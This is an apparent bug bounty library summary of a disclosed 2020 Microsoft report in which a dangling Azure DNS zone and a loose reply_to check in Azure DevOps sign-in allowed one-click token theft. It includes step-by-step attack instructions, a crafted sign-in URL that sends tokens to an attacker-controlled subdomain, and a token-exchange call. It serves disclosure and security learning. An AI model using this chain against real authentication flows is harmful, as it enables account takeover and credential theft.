# Taking over Azure DevOps Accounts with 1 Click

Dangling Azure DNS zone for project-cascade.visualstudio.com allowed takeover, then loose reply_to in Azure DevOps signin leaked auth tokens, enabling 1-click account takeover.

- Payout: $3,000
- Severity: high
- Program: Microsoft
- Credited: Sean Yeoh
- Disclosed: 2020-06-28
- Write-up quality: 8/10
- Original: https://blog.assetnote.io/2020/06/29/subdomain-takeover-to-account-takeover/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-assetnote-io-2020-06-29-subdomain-takeover-to-account-takeover
- Tags: domain:cloud impact:ato kind:bounty platform:blog sev:high technique:chained technique:recon vuln:account-takeover vuln:auth-bypass vuln:subdomain-takeover

**Target:** Azure DNS zone and Azure DevOps authentication flow
**Root cause:** Dangling NS records for project-cascade.visualstudio.com pointed to unregistered Azure DNS zone, allowing takeover. Additionally, the reply_to parameter in app.vssps.visualstudio.com/_signin accepted any *.visualstudio.com domain, enabling token exfiltration.
**Steps:**
1. Discover subdomain project-cascade.visualstudio.com with NS records to Azure DNS but zone not registered (lookups refused).
2. Register the zone in attacker's Azure account and create arbitrary DNS records (e.g., A record arec.project-cascade.visualstudio.com -> attacker IP).
3. Craft URL: `https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=...`
4. Victim clicks link; after login, tokens (id_token, FedAuth, FedAuth1) are POSTed to attacker-controlled domain.
5. Exchange stolen tokens for Bearer token via `POST /_apis/WebPlatformAuth/SessionToken` on app.vsaex.visualstudio.com.
6. Use Bearer token to access dev.azure.com and other resources, achieving account takeover.
**How found:** Automated subdomain enumeration found project-cascade.visualstudio.com with dangling Azure DNS zone. Testing the authentication flow revealed reply_to accepted any *.visualstudio.com domain, enabling token theft.
**Exploitation:** Attacker sends crafted signin URL to victim. Upon login, victim's browser POSTs authentication tokens to attacker's subdomain. Attacker exchanges tokens for Bearer token, gaining full access to victim's Azure DevOps account.
**Escalation:** Token exchange for Bearer token allowed access to multiple Azure DevOps services (vsaex.visualstudio.com, dev.azure.com, vssps.dev.azure.com), escalating from subdomain takeover to full account compromise.
**Insight:** When you find a subdomain takeover, examine authentication flows that trust the parent domain; loose redirect_uri/reply_to validation can turn a low-impact takeover into account takeover.